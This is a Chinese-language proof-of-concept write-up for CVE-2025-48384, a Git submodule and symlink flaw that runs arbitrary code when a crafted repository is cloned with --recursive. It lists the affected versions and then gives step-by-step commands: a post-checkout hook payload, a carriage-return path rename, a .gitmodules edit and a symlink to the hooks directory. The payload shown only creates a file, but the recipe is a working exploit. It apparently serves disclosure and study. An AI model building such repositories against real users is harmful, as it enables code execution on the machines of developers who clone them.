CVE-2025-48384 PoC

CVE-2025-48384 表现为 Git 中的不当链接解析（符号链接跟随）漏洞。具体来说，带有回车符的文件名在 .git/config 中解析不当，并且将一个指向子模块中 git 钩子可执行文件的符号链接作为子模块钩子目录，可能会导致在通过 git clone --recursive 克隆仓库时执行任意代码。

Git for Microsoft Windows 不受此漏洞影响，主要影响 Linux 和 macOS 上的特定 Git 版本。受影响版本如下：

• v2.50.0
• v2.49.0
• v2.48.0-v2.48.1
• v2.47.0–v2.47.2
• v2.46.0–v2.46.3
• v2.45.0-v2.45.3
• v2.44.0–v2.44.3
• v2.43.6 及更早版本

复现步骤：

1. 创建两个仓库：poc 和子模块（submodule）
2. 在子模块中创建一个 post-checkout git 钩子，用于在递归克隆 poc 仓库时执行代码：

#!/bin/bash
touch ~/hackedlol

3. 在 poc 仓库中，使用 git submodule add https://github.com/<你的子模块仓库>.git sub 添加子模块仓库
4. 使用 git mv sub $(printf "sub\r") 为新创建的 sub 文件夹添加回车符
5. 将 printf "\tpath = \"sub\r\"\n" 回显到 .gitmodules，并移除原始路径
6. 使用 ln -s .git/modules/sub/hooks sub 创建指向本地 .git 目录中 hooks 文件夹的符号链接
7. 将所有内容添加到仓库
8. 希望它能成功，哈哈

来源

• https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384
• https://github.com/git/git/commit/05e9cd64ee23bbadcea6bcffd6660ed02b8eab89#diff-8fbc2654131392c3018ecfc92462057b3bdc675cc674084c248bb0393a46b59f